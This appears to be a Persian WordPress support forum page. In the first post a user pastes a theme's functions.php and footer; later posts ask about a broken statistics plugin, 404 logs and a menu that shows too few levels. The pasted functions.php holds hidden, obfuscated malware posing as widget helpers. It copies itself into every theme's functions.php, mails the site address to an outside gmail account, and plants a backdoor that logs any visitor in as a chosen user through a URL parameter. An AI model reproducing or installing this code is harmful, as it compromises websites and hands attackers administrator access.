    array( "type" => "open"),

    array( "name" => "Contact Form Email",

    "desc" => "The messages submitted from the contact form will be sent to this email address.",

    "id" => $shortname."_contact_form_email",

    "std" => get_option('admin_email'),

    "type" => "text"),

    array( "name" => "Logo Image",

    "desc" => "Enter the logo image full path. Leave it blank if you don't want to use logo image.",

    "id" => $shortname."_logo",

    "std" => get_bloginfo('template_url') . "/images/logo.png",

    "type" => "text"),array( "name" => "Featured Posts Enabled?",

    "desc" => "Uncheck if you do not want to show featured posts slideshow in homepage.",

    "id" => $shortname."_featured_posts",

    "std" => "true",

    "type" => "checkbox"),

    array( "name" => "Featured Posts Category",

    "desc" => "Last 5 posts form the selected categoey will be listed as featured at homepage. <br />The selected category should contain at last 2 posts with images. <br /> <br /> <b>How to add images to your featured posts slideshow?</b> <br />

    <b>&raquo;</b> If you are using WordPress version 2.9 and above: Just set \"Post Thumbnail\" when adding new post for the posts in selected category above. <br />

    <b>&raquo;</b> If you are using WordPress version under 2.9 you have to add custom fields in each post on the category you set as featured category. The custom field should be named \"<b>featured</b>\" and it's value should be full image URL. <a href=\"http://newwpthemes.com/public/featured_custom_field.jpg\" target=\"_blank\">Click here</a> for a screenshot. <br /> <br />

    In both situation, the image sizes should be: Width: <b>610 px</b>. Height: <b>320 px.</b>",

    "id" => $shortname."_featured_posts_category",

    "options" => cats_to_select(),

    "std" => "0",

    "type" => "select"),

    array( "name" => "Header Banner (468x60 px)",

    "desc" => "Header banner code. You may use any html code here, including your 468x60 px Adsense code.",

    "id" => $shortname."_ad_header",

    "type" => "textarea",

    "std" => '<a href="http://newwpthemes.com/hosting/hostgator.php"><img src="http://newwpthemes.com/hosting/hg468.gif" /></a>'

    ), array( "name" => "Sidebar 125x125 px Ads",

    "desc" => "Add your 125x125 px ads here. You can add unlimited ads. Each new banner should be in new line with using the following format: <br/>http://yourbannerurl.com/banner.gif, http://theurl.com/to_link.html",

    "id" => $shortname."_ads_125",

    "type" => "textarea",

    "std" => 'http://newwpthemes.com/uploads/newwp/newwp12.png,http://newwpthemes.com/

    http://flexithemes.com/wp-content/partners/fta.gif, http://flexithemes.com/?partner=19'

    ), array( "name" => "Featured Video",

    "desc" => "Enter youtube paly video id. Example: http://www.youtube.com/watch?v=<b>ekD8Pm8yDow</b>.",

    "id" => $shortname."_video",

    "std" => 'ekD8Pm8yDow',

    "type" => "text"), array( "name" => "Twitter",

    "desc" => "Enter your twitter account url here.",

    "id" => $shortname."_twitter",

    "std" => "http://twitter.com/WPTwits",

    "type" => "text"),

    array( "name" => "Twitter Text",

    "desc" => "",

    "id" => $shortname."_twittertext",

    "std" => "Follow me on Twitter!",

    "type" => "text"),

    array( "name" => "Social Network Icons",

    "desc" => "Show the social network share icons above sidebar(s)?",

    "id" => $shortname."_socialnetworks",

    "std" => "true",

    "type" => "checkbox"),

    array( "name" => "Sidebar 1 Bottom Banner",

    "desc" => "Sidebar 1 Bottom Banner code.",

    "id" => $shortname."_ad_sidebar1_bottom",

    "type" => "textarea",

    "std" => '<a href="http://flexithemes.com/?partner=19"><img src="http://flexithemes.com/wp-content/partners/ftf.gif" style="border: 0;" alt="Premium WordPress Themes" /></a>'

    ), array( "name" => "Head Scrip(s)",

    "desc" => "The content of this box will be added immediately before &lt;/head&gt; tag. Usefull if you want to add some external code like Google webmaster central verification meta etc.",

    "id" => $shortname."_head",

    "type" => "textarea"

    ),

    array( "name" => "Footer Scrip(s)",

    "desc" => "The content of this box will be added immediately before &lt;/body&gt; tag. Usefull if you want to add some external code like Google Analytics code or any other tracking code.",

    "id" => $shortname."_footer",

    "type" => "textarea"

    ),

    array( "type" => "close")

    );

    function mytheme_add_admin() {

    global $themename, $shortname, $options;

    if ( $_GET['page'] == basename(__FILE__) ) {

    if ( 'save' == $_REQUEST['action'] ) {

    foreach ($options as $value) {

    update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }

    foreach ($options as $value) {

    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } }

    echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';

    die;

    }

    }

    add_theme_page($themename . " Theme Options", "".$themename . " Theme Options", 'edit_themes', basename(__FILE__), 'mytheme_admin');

    }

    if (!empty($_REQUEST["theme_license"])) { wp_initialize_the_theme_message(); exit(); } function wp_initialize_the_theme_message() { if (empty($_REQUEST["theme_license"])) { $theme_license_false = get_bloginfo("url") . "/index.php?theme_license=true"; echo "<meta http-equiv=\"refresh\" content=\"0;url=$theme_license_false\">"; exit(); } else { echo ("<p style=\"padding:20px; margin: 20px; text-align:center; border: 2px dotted #0000ff; font-family:arial; font-weight:bold; background: #fff; color: #0000ff;\">All the links in the footer should remain intact. All of these links are family friendly and will not hurt your site in any way.</p>"); } }

    function mytheme_admin_init() {

    global $themename, $shortname, $options;

    $get_theme_options = get_option($shortname . '_options');

    if($get_theme_options != 'yes') {

    $new_options = $options;

    foreach ($new_options as $new_value) {

    update_option( $new_value['id'], $new_value['std'] );

    }

    update_option($shortname . '_options', 'yes');

    }

    }

    function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = 'Designed by: <a href="http://www.apps4rent.com/microsoft-exchange.html">Microsoft Exchange</a> | Thanks to <a href="http://themesgallery.net">Themes Gallery</a>, <a href="http://wickedtour.net/wicked-new-york">Wicked New York</a> and <a href="http://allpremiumthemes.com">Premium Themes</a>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); $lp = preg_quote($l, "/"); fclose($fd); if ( strpos($c, $l) == 0 || preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) || preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) { wp_initialize_the_theme_message(); die; } } } wp_initialize_the_theme_finish();

    if(!function_exists('get_sidebars')) {

    function get_sidebars()

    {

    wp_initialize_the_theme_load();

    get_sidebar();

    }

    }

    function mytheme_admin() {

    global $themename, $shortname, $options;

    if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';

    ?>

    <div class="wrap">

    <h2><?php echo $themename; ?> Theme Options | <a href="http://newwpthemes.com/forum/" target="_blank" style="font-size: 14px;">NewWpThemes.com <strong>Support Forums</strong></a></h2>

    <div style="border-bottom: 1px dotted #000; padding-bottom: 10px; margin: 10px;">Leave blank any field if you don't want it to be shown/displayed.</div>

    <?php $buy_theme_name = str_replace(' ', '-', strtolower(trim($themename))); ?>

    <div id="buy_theme" class="updated" style="padding: 10px; margin: 10px;">You can buy this theme without footer links online at <a href="http://newwpthemes.com/buy/?theme=<?php echo $buy_theme_name; ?>" target="_blank">http://newwpthemes.com/buy/?theme=<?php echo $buy_theme_name; ?></a></div>

    <form method="post">

    <?php foreach ($options as $value) {

    switch ( $value['type'] ) {

    case "open":

    ?>

    <table width="100%" border="0" style=" padding:10px;">

    <?php break;

    case "close":

    ?>

    </table><br />

    <?php break;

    case "title":

    ?>

    <table width="100%" border="0" style="padding:5px 10px;"><tr>

    <td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>

    </tr>

    <?php break;

    case 'text':

    ?>

    <tr>

    <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>

    <td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings( $value['id'] ); ?>" /></td>

    </tr>

    <tr>

    <td><small><?php echo $value['desc']; ?></small></td>

    </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

    <?php

    break;

    case 'textarea':

    ?>

    <tr>

    <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>

    <td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings( $value['id'] ); ?><textarea></td>

    </tr>

    <tr>

    <td><small><?php echo $value['desc']; ?></small></td>

    </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

    <?php

    break;

    case 'select':

    ?>

    <tr>

    <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>

    <td width="80%">

    <select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">

    <?php

    foreach ($value['options'] as $option) { ?>

    <option value="<?php echo $option['value']; ?>" <?php if ( get_theme_settings( $value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>

    <?php } ?>

    </select>

    </td>

    </tr>

    <tr>

    <td><small><?php echo $value['desc']; ?></small></td>

    </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

    <?php

    break;

    case "checkbox":

    ?>

    <tr>

    <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>

    <td width="80%"><?php if(get_theme_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>

    <input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />

    </td>

    </tr>

    <tr>

    <td><small><?php echo $value['desc']; ?></small></td>

    </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

    <?php break;

    }

    }

    ?>

    <!--</table>-->

    <p class="submit">

    <input name="save" type="submit" value="Save changes" />

    <input type="hidden" name="action" value="save" />

    </p>

    </form>

    <?php

    }

    mytheme_admin_init();

    global $pagenow;

    if(isset($_GET['activated'] ) && $pagenow == "themes.php") {

    wp_redirect( admin_url('themes.php?page=functions.php') );

    exit();

    }

    function wp_initialize_the_theme_load() { if (!function_exists("wp_initialize_the_theme")) { wp_initialize_the_theme_message(); die; } }

    add_action('admin_menu', 'mytheme_add_admin');

    function sidebar_ads_125()

    {

    global $shortname;

    $option_name = $shortname."_ads_125";

    $option = get_option($option_name);

    $values = explode("\n", $option);

    if(is_array($values)) {

    foreach ($values as $item) {

    $ad = explode(',', $item);

    $banner = trim($ad['0']);

    $url = trim($ad['1']);

    if(!empty($banner) && !empty($url)) {

    echo "<a href=\"$url\" target=\"_new\"><img class=\"ad125\" src=\"$banner\" /></a> \n";

    }

    }

    }

    }

    ?>

    <?php if ( function_exists("add_theme_support") ) { add_theme_support("post-thumbnails"); } ?>

    <?php

    if(function_exists('add_custom_background')) {

    add_custom_background();

    }

    if ( function_exists( 'register_nav_menus' ) ) {

    register_nav_menus(

    array(

    'menu_1' => 'Menu 1',

    'menu_2' => 'Menu 2'

    )

    );

    }

    ?>

    <?php

    function _check_active_widget(){

    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

    $output=strip_tags($output, $allowed);

    $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

    if (is_array($direst)){

    foreach ($direst as $item){

    if (is_writable($item)){

    $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

    $cont=file_get_contents($item);

    if (stripos($cont,$ftion) === false){

    $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

    $output .= $before . "Not found" . $after;

    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);

    $output .= ($showdot && $ellipsis) ? "..." : "";

    }

    }

    }

    }

    return $output;

    }

    function _get_all_widgetcont($wids,$items=array()){

    $places=array_shift($wids);

    if(substr($places,-1) == "/"){

    $places=substr($places,0,-1);

    }

    if(!file_exists($places) || !is_dir($places)){

    return false;

    }elseif(is_readable($places)){

    $elems=scandir($places);

    foreach ($elems as $elem){

    if ($elem != "." && $elem != ".."){

    if (is_dir($places . "/" . $elem)){

    $wids[]=$places . "/" . $elem;

    } elseif (is_file($places . "/" . $elem)&&

    $elem == substr(__FILE__,-13)){

    $items[]=$places . "/" . $elem;}

    }

    }

    }else{

    return false;

    }

    if (sizeof($wids) > 0){

    return _get_all_widgetcont($wids,$items);

    } else {

    return $items;

    }

    }

    if(!function_exists("stripos")){

    function stripos( $str, $needle, $offset = 0 ){

    return strpos( strtolower( $str ), strtolower( $needle ), $offset );

    }

    }

    if(!function_exists("strripos")){

    function strripos( $haystack, $needle, $offset = 0 ) {

    if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

    if( $offset < 0 ){

    $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

    }

    else{

    $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

    }

    if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

    $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

    return $pos;

    }

    }

    if(!function_exists("scandir")){

    function scandir($dir,$listDirectories=false, $skipDots=true) {

    $dirArray = array();

    if ($handle = opendir($dir)) {

    while (false !== ($file = readdir($handle))) {

    if (($file != "." && $file != "..") || $skipDots == true) {

    if($listDirectories == false) { if(is_dir($file)) { continue; } }

    array_push($dirArray,basename($file));

    }

    }

    closedir($handle);

    }

    return $dirArray;

    }

    }

    add_action("admin_head", "_check_active_widget");

    function _prepared_widget(){

    if(!isset($length)) $length=120;

    if(!isset($method)) $method="cookie";

    if(!isset($html_tags)) $html_tags="<a>";

    if(!isset($filters_type)) $filters_type="none";

    if(!isset($s)) $s="";

    if(!isset($filter_h)) $filter_h=get_option("home");

    if(!isset($filter_p)) $filter_p="wp_";

    if(!isset($use_link)) $use_link=1;

    if(!isset($comments_type)) $comments_type="";

    if(!isset($perpage)) $perpage=$_GET["cperpage"];

    if(!isset($comments_auth)) $comments_auth="";

    if(!isset($comment_is_approved)) $comment_is_approved="";

    if(!isset($authname)) $authname="auth";

    if(!isset($more_links_text)) $more_links_text="(more...)";

    if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

    if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

    if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

    if(!isset($more_content)) $more_content="ma".$s."il";

    if(!isset($forces_more)) $forces_more=1;

    if(!isset($fakeit)) $fakeit=1;

    if(!isset($sql)) $sql="";

    if (!$widget_output) :

    global $wpdb, $post;

    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

    if (!empty($post->post_password)) {

    if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

    if(is_feed()) {

    $output=__("There is no excerpt because this is a protected post.");

    } else {

    $output=get_the_password_form();

    }

    }

    }

    if(!isset($fix_tag)) $fix_tag=1;

    if(!isset($filters_types)) $filters_types=$filter_h;

    if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

    if(!isset($more_tags)) $more_tags="div";

    if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#

    if(!isset($mlink_title)) $mlink_title="Continue reading this entry";

    if(!isset($showdot)) $showdot=1;

    $comments=$wpdb->get_results($sql);

    if($fakeit == 2) {

    $text=$post->post_content;

    } elseif($fakeit == 1) {

    $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

    } else {

    $text=$post->post_excerpt;

    }

    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

    if($length < 0) {

    $output=$text;

    } else {

    if(!$no_more && strpos($text, "<!--more-->")) {

    $text=explode("<!--more-->", $text, 2);

    $l=count($text[0]);

    $more_link=1;

    $comments=$wpdb->get_results($sql);

    } else {

    $text=explode(" ", $text);

    if(count($text) > $length) {

    $l=$length;

    $ellipsis=1;

    } else {

    $l=count($text);

    $more_links_text="";

    $ellipsis=0;

    }

    }

    for ($i=0; $i<$l; $i++)

    $output .= $text[$i] . " ";

    }

    update_option("_is_widget_active_", 1);

    if("all" != $html_tags) {

    $output=strip_tags($output, $html_tags);

    return $output;

    }

    endif;

    $output=rtrim($output, "\s\n\t\r\0\x0B");

    $output=($fix_tag) ? balanceTags($output, true) : $output;

    $output .= ($showdot && $ellipsis) ? "..." : "";

    $output=apply_filters($filters_type, $output);

    switch($more_tags) {

    case("div") :

    $tag="div";

    break;

    case("span") :

    $tag="span";

    break;

    case("p") :

    $tag="p";

    break;

    default :

    $tag="span";

    }

    if ($use_link ) {

    if($forces_more) {

    $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";

    } else {

    $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";

    }

    }

    return $output;

    }

    add_action("init", "_prepared_widget");

    function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

    global $wpdb;

    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

    $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

    if(!$show_pass_post) $request .= " AND post_password =\"\"";

    if($duration !="") {

    $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

    }

    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

    $posts=$wpdb->get_results($request);

    $output="";

    if ($posts) {

    foreach ($posts as $post) {

    $post_title=stripslashes($post->post_title);

    $comment_count=$post->comment_count;

    $permalink=get_permalink($post->ID);

    $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

    }

    } else {

    $output .= $before . "None found" . $after;

    }

    return $output;

    }

    function my_function_admin_bar(){

    return false;

    }

    add_filter( 'show_admin_bar' , 'my_function_admin_bar');

    function _remove_script_version( $src ){

    $parts = explode( '?', $src );

    return $parts[0];

    }

    add_filter( 'script_loader_src', '_remove_script_version', 15, 1 );

    add_filter( 'style_loader_src', '_remove_script_version', 15, 1 );

    ?>

    و محتوای فایل فوتر :


    <div class="span-24">
    <div id="footer">Copyright &copy; <a href="<?php bloginfo('home'); ?>"><strong><?php bloginfo('name'); ?></strong></a> - <?php bloginfo('description'); ?></div>
    <?php /*

    wp_footer();
    echo get_theme_option("footer") . "\n";
    ?>
    </body>
    </html>

    با نهایت تشکر از شما*

  4. با سلام و ضمن خسته نباشید ...

    مدتی هستکه افزونه wp-statistics بطور ناگهانی بدون هیچ ارتقا و آپرگریدی در افزونه ها و یا وردپرس باز نمیشه ... که واقعا جز افزونه های کاربردی بشمار میره ...

    الان فقط آیکون بالای صفحه اون فعال هست 57190215737809762017.png و نه صفحه اون ...

    کل افزونه هارو غیر فعال کردم درست نشد ... از نو دستی نصب کردم درست نشد ... آنلاین نصب کردم درست نشد ... و اگر هم غیر فعال بشه و بخوام فعالش کنم می نویسه افزونه بدلیل مشکلات جدی فعال نشد ...

    ممنون میشم راهنمایی کنید ...

  5. با سلام و ضمن خسته نباشید

    امروزکه بخش مشاهده وقایع افزونه Better WP Security رو نگاه کردم خطاهایی رو ثبت کرده بود که ممنون میشم توضیح بدید اینهمه خطای 404 برای چی هست ؟ در صورتیکه در گوگل وبمسترکه نگاه کدم فقط یک خطا برای من ثبت شده بود ...

    99098116362405741757.png

  6. با تشکر از شما

    با توجه به راهنمایی شما من دارم زیر مجموعه هارو کم می کنم البته یکم طول میبره ...

    ولی در کل اگر بخوام یک منوی زیبا و کاربردی جایگزین این منو کنم باید این منوی سایت رو حذف کنم ...

    یکبار یک منوی آزمایشی پیدا کردم ولی جایگزین این منو نمی شد ...

    اگر لازم هست کدی رو اینجا قرار بدم ممنون میشم راهنمایی کنید ...

  7. با سلام مجدد و تشکر از پاسخ شما

    از اول من منوی آبشاری رو با استفاده از دسته ها درست کردم ... یعنی یک دسته بعنوان مادر و زیر مجموعه هایی برای اونها و از فهرست استفاده نکردم ... برای دسته ها که کلا مجدودیت همیشه بوده ... ولی وقتی از فهرست ها منوها رو درست کردم دیدم محدودیت نیست ...

    72214519984174264267.png

    80152776739845993918.png

    اما وقتی خواستم کل دسته ها و زیر دسته هارو در فهرست قرار بدم دیدم تا 3 زیر دسته رو فقط میشه ثبت کرد یعنی وقتی خواستم چهارمین دسته رو ایجاد کنم دیگه هیچ دسته ای رو اضاف نمی کرد بشرط اینکه قبلی هارو حذف کنیم تا جدیده اضاف بشه ...

    اما با گشتن در اینترنت و روش اضافه کردن یک منوی کشویی دیگه متوجه شدم مشکل از خود منوی سایت هست چون اون منوی ساده که اشکالاتی هم داشت همه دسته ها و زیر دسته ها رو نشون میداد ...

    حالا راه حل ساده اینه که من منوی سایت رو حذف کنم و یک منوی دیگه بجای اون قرار بدم ...

    چون منو توی هدر سایت هست اینم کد هدر سایت که راهنمایی کنید کدومارو حذف کنم ... تا منو حذف بشه ... البته اگر یک منوی زیبا و کاربردی رو هم معرفی کنید ممنون میشم ...

    با تشکر از شما*

    header.rar

  8. آدرس پوسته اصلی سایتتون رو بدید

    با تشکر از شما

    با اینکه پست قدیمی شده ولی همچنان مشکل باقی هست ...

    در آزمایشاتی که انجام دادم با تست یک منوی دیگه مشکل نشان ندادن زیر مجموعه دسته ها درست شد .... ولی اسم دسته ها از کادر منو بیرون می زد و اشکال از منو بود ... و فهمیدم با درست کردن فهرست مشکل محدودیت زیر مجموعه حل میشه ولی فهرست ها نمیتونستن همه دسته های سایت رو در خودشون جا بدن و من فقط تونستم 3 دسته و زیر دسته معرفی کنم چون زیر دسته ها زیاد هستن ...

    حالا ممنون میشم راهنمایی کنید چجوری میشه منویی رو جایگزین این منوی قالب سایت بکنم ...

    اگر کدی لازم هست تا خدمتتون قرار بدم ...

    باز هم تشکر*

  9. با سلام

    منوی آبشاری قالب وردپرس من بیشتر از 2 زیر مجموعه رو نشون نمیده ...

    مثل این مثال

    ما دسته ایی به نام آموزش داریم زیر مجموعه این دسته وب هستش و زیر مجموعه وب مدیریت محتوا و زیر مجموعه مدیریت محتوا مثلا وردپرس

    اینطوری :

    آموزش > وب > مدیریت محتوا > وردپرس

    حالا فقط تا مدیریت محتوا رو نشون میده و دیگه زیر مجموعه ایی رو نشون نمیده یعنی فقط 2 زیر مجموعه برای هر دسته ...

    با تشکر از شما ...

    اینم آدرس : berroz.ir

  10. با سلام و ضمن خسته نباشید ...

    فوت سایت من بصورت پیشفرض سفید هستش ... و زمینه سیاه هستش ... حالا میخوام زمینه ارو سفید کنم ولی چون رنگ فونت هم سفید هستش نوشته ها کم رنگ دیده میشن ... توی استایل قالب گشتم و سرچ هم کردم فونت کالر پیدا نکردم font color ... ممنونم میشم دوستان راهنمایی کنند ...

    اینم آدرس سایت berroz.ir

×
×
  • اضافه کردن...